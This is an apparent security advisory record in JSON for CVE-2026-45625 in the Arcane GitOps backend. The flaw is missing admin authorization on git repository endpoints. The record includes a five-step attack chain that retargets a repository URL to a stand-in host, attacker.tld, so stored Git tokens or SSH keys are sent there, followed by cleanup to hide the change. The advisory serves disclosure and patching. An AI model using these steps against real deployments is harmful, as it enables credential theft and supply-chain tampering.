{"id":"CVE-2026-45625","aliases":["GHSA-7h26-hg47-p9hx","GO-2026-5220"],"url":"https://o3.security/vulnerability/CVE-2026-45625","summary":"Arcane: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs","details":"## Summary\n\nArcane's huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials.\n\n## Details\n\n### Auth bridge does not enforce role\n\n`backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`:\n\n```go\n// backend/internal/huma/handlers/helpers.go:11-12\n// checkAdmin checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdmin(ctx context.Context) error { ... }\n```\n\n`grep -rn \"checkAdmin\"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `\"user\"` (`backend/internal/huma/handlers/users.go:222-223`):\n\n```go\nif userModel.Roles == nil {\n    userModel.Roles = []string{\"user\"}\n}\n```\n\n### Git repository handler is missing the admin gate on 8 of 9 endpoints\n\n`backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers — `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) — perform no role check whatsoever:\n\n```go\n// backend/internal/huma/handlers/git_repositories.go:326-336\nfunc (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {\n    if h.repoService == nil {\n        return nil, huma.Error500InternalServerError(\"service not available\")\n    }\n    actor := models.User{}\n    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {\n        actor = *currentUser\n    }\n    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)\n    ...\n```\n\nThe service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either — `grep -n \"admin\" backend/internal/services/git_repository_service.go` returns nothing.\n\n### Credential-preserving update primitive\n\n`UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`:\n\n```go\n// backend/internal/services/git_repository_service.go:185-219\nupdates := make(map[string]any)\nif req.Name != nil      { updates[\"name\"] = *req.Name }\nif req.URL != nil       { updates[\"url\"]  = *req.URL }   // <-- attacker-pivotable\nif req.AuthType != nil  { updates[\"auth_type\"] = *req.AuthType }\n...\nif req.Token != nil {                                      // <-- only rewritten if supplied\n    if *req.Token == \"\" { updates[\"token\"] = \"\" } else {\n        encrypted, err := crypto.Encrypt(*req.Token)\n        ...\n        updates[\"token\"] = encrypted\n    }\n}\n```\n\nSo `PUT /customize/git-repositories/{id}` with body `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repository while preserving the encrypted token.\n\n### Sink: Basic-auth send to attacker URL\n\n`TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`:\n\n```go\n// backend/internal/services/git_repository_service.go:340-363\nfunc (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {\n    authConfig := git.AuthConfig{\n        AuthType: repository.AuthType, Username: repository.Username, ...\n    }\n    if repository.Token != \"\" {\n        token, err := crypto.Decrypt(repository.Token)\n        ...\n        authConfig.Token = token\n    }\n    ...\n}\n```\n\n```go\n// backend/pkg/gitutil/git.go:60-69\ncase \"http\":\n    if config.Token != \"\" {\n        return &githttp.BasicAuth{\n            Username: config.Username,\n            Password: config.Token,\n        }, nil\n    }\n```\n\n`go-git`'s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to `/test`, `/branches`, or `/files`.\n\n### Full attack chain (HTTP-token variant)\n\n1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).\n2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their *existence* is visible).\n3. `PUT /api/customize/git-repositories/{id}` with `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repo while preserving the encrypted PAT.\n4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.\n5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline.\n\nThe same primitive works for `authType: \"ssh\"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session).\n\n## Impact\n\n- **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).\n- **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.\n- **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.\n- **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations.\n- **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.\n\nDefault Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.","published":"2026-05-29T17:10:57.210Z","modified":"2026-08-12T03:51:16.697287724Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00387,"percentile":0.3199,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/getarcaneapp/arcane/backend","fixedVersion":"1.19.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45625.json"},{"type":"ADVISORY","url":"https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45625"},{"type":"PACKAGE","url":"https://github.com/getarcaneapp/arcane"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.697287724Z"}}